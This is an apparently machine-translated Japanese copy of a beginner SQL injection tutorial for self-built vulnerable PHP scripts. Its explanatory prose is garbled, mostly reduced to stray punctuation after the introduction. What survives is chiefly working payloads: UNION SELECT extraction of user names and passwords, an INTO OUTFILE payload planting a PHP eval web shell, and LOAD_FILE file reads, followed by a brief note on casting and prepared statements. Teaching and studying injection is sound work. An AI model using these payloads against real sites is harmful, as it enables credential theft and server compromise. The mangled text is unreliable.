初心者向けのSQLインジェクション。 パート1


読者の皆さん、ご挨拶。 最近、私はWebセキュリティが好きで、ある程度、仕事はこれに関連しています。 なぜなら 私はさまざまなフォーラムのトピックにますます頻繁に気づき始めました。これがすべてどのように機能するかを示すために、私は記事を書くことにしました。 この記事は、これに遭遇したことはないが、学びたい人のために設計されています。 ネットワークにはこのトピックに関する多くの記事がありますが、初心者にとっては少し複雑です。 すべてを明確な言語と詳細な例で説明しようとします。


まえがき


この記事を理解するために、SQL言語の知識は本当に必要ではありませんが、少なくとも十分な忍耐力と少しの頭脳が必要です-覚えておいてください。

記事を読むだけでは不十分だと思う 実例が必要です-ご存知のように、暗記の過程で、それは決して不必要ではありません。 したがって、脆弱なスクリプトを作成し、それらについてトレーニングします。

SQLインジェクションとは何ですか?

— , , . :

, , 100 . SQL , :
100

- ( ), , — . , , « » :
100

, , 100 . SQL :) ( ), .


, . . cfg.php

SQL injection



, , . — ID. . GET/POST Cookie!





index1.php. , ID .

sqlinj/index1.php?id=1'


.. :

$id = $_GET['id'];
$query = "SELECT * FROM news WHERE id=$id";



SELECT * FROM news WHERE id=1'


:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16

— :

1.SQL — , (int)
2. .

— ! SQL — .





index2.php. , :
$user = $_GET['user'];
$query = "SELECT * FROM news WHERE user='$user'";


, — .
:
sqlinj/index2.php?user=AlexanderPHP'


. ! . — .







- , . , " -- " SQL.

! . URL %20

, — :
SELECT * FROM news WHERE user='AlexanderPHP' -- habrahabra

. index2.php, :

sqlinj/index2.php?user=AlexanderPHP'%20--%20habrahabr



UNION. SQL UNION SQL- . , - .






«», . index1.php.

sqlinj/index1.php?id=1 UNION SELECT 1. :
SELECT * FROM news WHERE id=1 UNION SELECT 1
, .. , .

.. , , .



, :
sqlinj/index1.php?id=1 UNION SELECT 1,2

sqlinj/index1.php?id=1 UNION SELECT 1,2,3
!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
! 5.

GROUP BY

, 20 40 60. , GROUP BY


sqlinj/index1.php?id=1 GROUP BY 2
, - 2. :

sqlinj/index1.php?id=1 GROUP BY 8
, , - 8.

GROUP BY 4 , GROUP BY 6 — , - 5





, , ID, :

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

image
, , . , , .




, users id, name pass.
ID=1

:

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1

image

, , 1 3

sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
— !
image



« », index2.php . :
sqlinj/index2.php?user=-1' UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20



/


, FILE_PRIV.


. , OUTFILE .
sqlinj/index2.php?user=-1' UNION SELECT 1,2,3,4,5 INTO OUTFILE '1.php' --%20
, . , -:
sqlinj/index2.php?user=-1' UNION SELECT 1,'<?php eval($_GET[1]) ?>',3,4,5 INTO OUTFILE '1.php' --%20



, . LOAD_FILE, , :

sqlinj/index2.php?user=-1' UNION SELECT 1,LOAD_FILE('1.php'),3,4,5 --%20

, .





, . . ,
$id = (int) $_GET['id'];

malroc. PDO prepared statements.




«SQL injection ». . .
, .

Source: https://habr.com/ru/post/J148151/


All Articles